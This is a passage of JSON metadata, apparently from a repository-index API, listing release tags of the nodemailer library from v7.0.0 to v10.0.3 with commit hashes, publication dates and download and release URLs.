t":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v10.0.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v10.0.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v10.0.3/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/releases/v10.0.3"},{"name":"v10.0.2","sha":"01957998adab6c56b3f63c17a39a72a3ff18f3f4","kind":"commit","published_at":"2026-09-09T20:17:15.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v10.0.2","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v10.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v10.0.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v10.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v10.0.2/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/releases/v10.0.2"},{"name":"v10.0.1","sha":"40d52215aac65b811d7e131bc916f68605efd9d2","kind":"commit","published_at":"2026-09-07T12:13:21.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v10.0.1","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v10.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v10.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v10.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v10.0.1/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/releases/v10.0.1"},{"name":"v10.0.0","sha":"2ee030ca78c18db4b1f7e040fdce285c51972a96","kind":"commit","published_at":"2026-09-04T07:38:38.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v10.0.0","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v10.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v10.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v10.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v10.0.0/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/releases/v10.0.0"},{"name":"v9.1.1","sha":"ad4513f2a179e0484f9c95948211c186ba3ce7c9","kind":"commit","published_at":"2026-09-01T18:40:16.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v9.1.1","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v9.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v9.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v9.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v9.1.1/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/releases/v9.1.1"},{"name":"v9.1.0","sha":"efd6e29c10c6e0c25c57bd2f2a71302838235a4f","kind":"commit","published_at":"2026-08-31T11:21:28.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v9.1.0","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v9.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v9.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v9.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v9.1.0/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/releases/v9.1.0"},{"name":"v9.0.6","sha":"4e467a8fd298f47b481fb96888dc4658fde70a5b","kind":"commit","published_at":"2026-08-27T16:45:41.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v9.0.6","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v9.0.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v9.0.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v9.0.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v9.0.6/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/releases/v9.0.6"},{"name":"v9.0.5","sha":"742cff9e2d5376962da19f8fcf2408e910ff2020","kind":"commit","published_at":"2026-08-07T09:33:18.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v9.0.5","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v9.0.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v9.0.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v9.0.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v9.0.5/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/releases/v9.0.5"},{"name":"v9.0.4","sha":"2a0e8c3d9a6e3498afe0059ee5fe1180befef66c","kind":"commit","published_at":"2026-08-04T10:54:51.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v9.0.4","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v9.0.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v9.0.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v9.0.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v9.0.4/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/releases/v9.0.4"},{"name":"v9.0.3","sha":"1f61eb49b4316589045576752c721bd89918ef21","kind":"commit","published_at":"2026-06-30T08:46:27.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v9.0.3","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v9.0.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v9.0.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v9.0.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v9.0.3/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/releases/v9.0.3"},{"name":"v9.0.2","sha":"4801f3aa1a30ae96439c2899c58cc14a18a169ba","kind":"commit","published_at":"2026-06-30T05:16:17.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v9.0.2","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v9.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v9.0.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v9.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v9.0.2/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/releases/v9.0.2"},{"name":"v9.0.1","sha":"69cf6252cd18227c79b75dd484357ee1e760e56e","kind":"commit","published_at":"2026-06-17T10:56:17.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v9.0.1","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v9.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v9.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v9.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v9.0.1/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/releases/v9.0.1"},{"name":"v9.0.0","sha":"541f5fd1e26993736feedeac572b425314693f33","kind":"commit","published_at":"2026-06-14T17:56:51.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v9.0.0","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v9.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v9.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v9.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v9.0.0/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/releases/v9.0.0"},{"name":"v8.0.11","sha":"e3b1bdab0f8913b031ffd7a0d4e3592da6fd4c01","kind":"commit","published_at":"2026-06-10T12:07:53.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v8.0.11","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v8.0.11","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v8.0.11","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v8.0.11","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v8.0.11/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/releases/v8.0.11"},{"name":"v8.0.10","sha":"948ae3ff14fb904058f9cf5a6544305eca3b3956","kind":"commit","published_at":"2026-05-29T11:33:12.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v8.0.10","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v8.0.10","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v8.0.10","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v8.0.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v8.0.10/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/releases/v8.0.10"},{"name":"v8.0.9","sha":"07303cb0cb34b97b44856f5de3eff212b63e4567","kind":"commit","published_at":"2026-05-26T16:03:18.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v8.0.9","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v8.0.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v8.0.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v8.0.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v8.0.9/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/releases/v8.0.9"},{"name":"v8.0.8","sha":"15138a84c543c20aa399218534cdbbfa2ea1ce55","kind":"commit","published_at":"2026-05-23T20:09:06.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v8.0.8","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v8.0.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v8.0.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v8.0.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v8.0.8/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/releases/v8.0.8"},{"name":"v8.0.7","sha":"1997040e23e5df901b8ee085ae3fc1fdbdd06f9f","kind":"commit","published_at":"2026-04-27T10:23:22.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v8.0.7","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v8.0.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v8.0.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v8.0.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v8.0.7/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/releases/v8.0.7"},{"name":"v8.0.6","sha":"a22efbcf4fa14df283d9d92294b3d0499aa42145","kind":"commit","published_at":"2026-04-24T12:01:28.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v8.0.6","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v8.0.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v8.0.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v8.0.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v8.0.6/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/releases/v8.0.6"},{"name":"v8.0.5","sha":"202cfb3e14010223204e9ba9f7430176be624f0f","kind":"commit","published_at":"2026-04-07T15:20:04.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v8.0.5","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v8.0.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v8.0.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v8.0.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v8.0.5/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/releases/v8.0.5"},{"name":"v8.0.4","sha":"2d319753c34d2f0ced24d8eb1d7d866d965f59f4","kind":"commit","published_at":"2026-03-25T07:18:06.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v8.0.4","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v8.0.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v8.0.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v8.0.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v8.0.4/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/releases/v8.0.4"},{"name":"v8.0.3","sha":"4e702e97650aaff442a7bc040957ba9c53c614b8","kind":"commit","published_at":"2026-03-18T13:17:37.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v8.0.3","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v8.0.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v8.0.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v8.0.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v8.0.3/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/releases/v8.0.3"},{"name":"v8.0.2","sha":"0f28799c5826818fae079231356e9f6883c10f3d","kind":"commit","published_at":"2026-03-09T12:19:53.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v8.0.2","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v8.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v8.0.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v8.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v8.0.2/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/releases/v8.0.2"},{"name":"v8.0.1","sha":"1dd8eeb5f7ebd4030858de8894a502014035ac36","kind":"commit","published_at":"2026-02-07T08:57:51.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v8.0.1","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v8.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v8.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v8.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v8.0.1/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/releases/v8.0.1"},{"name":"v8.0.0","sha":"edac562babc09a235999ddeb37cbd80c45408c2f","kind":"commit","published_at":"2026-02-04T10:57:15.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v8.0.0","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v8.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v8.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v8.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v8.0.0/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/releases/v8.0.0"},{"name":"v7.0.13","sha":"893119505aa25723dd9a7d90c8dfd223d28a0cc4","kind":"commit","published_at":"2026-01-27T14:22:58.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v7.0.13","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v7.0.13","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v7.0.13","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v7.0.13","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v7.0.13/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/releases/v7.0.13"},{"name":"v7.0.12","sha":"a208a0bc86a315d037d5be8849fab5862c488baa","kind":"commit","published_at":"2025-12-22T11:37:16.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v7.0.12","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v7.0.12","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v7.0.12","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v7.0.12","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v7.0.12/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/releases/v7.0.12"},{"name":"v7.0.11","sha":"3d17dbec49ab3e3f0e13e62871e5534be5b99994","kind":"commit","published_at":"2025-11-26T07:34:52.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v7.0.11","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v7.0.11","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v7.0.11","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v7.0.11","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v7.0.11/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/releases/v7.0.11"},{"name":"v7.0.10","sha":"4175e4baf92ffc4e20791a11fc0886025228a2ac","kind":"commit","published_at":"2025-10-23T06:23:03.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v7.0.10","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v7.0.10","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v7.0.10","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v7.0.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v7.0.10/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/releases/v7.0.10"},{"name":"v7.0.9","sha":"92ae1c49e3a33767996db9ddfd04784a7b9595d7","kind":"commit","published_at":"2025-10-07T07:16:05.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v7.0.9","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v7.0.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v7.0.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v7.0.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v7.0.9/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/releases/v7.0.9"},{"name":"v7.0.8","sha":"a0a4af1dae6c560da3504430ffbb9308a370f546","kind":"commit","published_at":"2025-10-07T07:06:58.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v7.0.8","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v7.0.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v7.0.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v7.0.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v7.0.8/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/releases/v7.0.8"},{"name":"v7.0.7","sha":"9357a712330132e16900769e8e3e9b4b7a8d2a4b","kind":"commit","published_at":"2025-10-05T19:01:08.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v7.0.7","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v7.0.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v7.0.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v7.0.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v7.0.7/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/releases/v7.0.7"},{"name":"v7.0.6","sha":"430ca75aa81e80b93d523f0db1b3dbed63834108","kind":"commit","published_at":"2025-08-30T12:54:32.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v7.0.6","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v7.0.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v7.0.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v7.0.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v7.0.6/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/releases/v7.0.6"},{"name":"v7.0.5","sha":"8033604aed6d107dd9d44f6ede4508de3393e504","kind":"commit","published_at":"2025-07-07T10:43:54.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v7.0.5","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v7.0.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v7.0.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v7.0.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v7.0.5/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/releases/v7.0.5"},{"name":"v7.0.4","sha":"a48ef266b3e6e7fafc7f7ae1cfac749dd1047e6b","kind":"commit","published_at":"2025-06-29T13:25:38.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v7.0.4","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v7.0.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v7.0.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v7.0.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v7.0.4/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/releases/v7.0.4"},{"name":"v7.0.3","sha":"125b01ea3c873d41bc93e058b0d94e1f7da2c027","kind":"commit","published_at":"2025-05-08T07:41:44.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v7.0.3","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v7.0.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v7.0.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v7.0.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v7.0.3/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/releases/v7.0.3"},{"name":"v7.0.2","sha":"12b792fb91045660ad1a4308e4dbcf4ec7d3c66c","kind":"commit","published_at":"2025-05-04T19:07:48.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v7.0.2","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v7.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v7.0.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v7.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v7.0.2/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/releases/v7.0.2"},{"name":"v7.0.1","sha":"94c48745112859253b8b6a6774e2284b47517aec","kind":"commit","published_at":"2025-05-04T18:56:57.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v7.0.1","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v7.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v7.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v7.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v7.0.1/manifests","release_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/releases/v7.0.1"},{"name":"v7.0.0","sha":"4839630bd6187581c55d97ba4ea5d2239d76aeae","kind":"commit","published_at":"2025-05-03T19:59:00.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v7.0.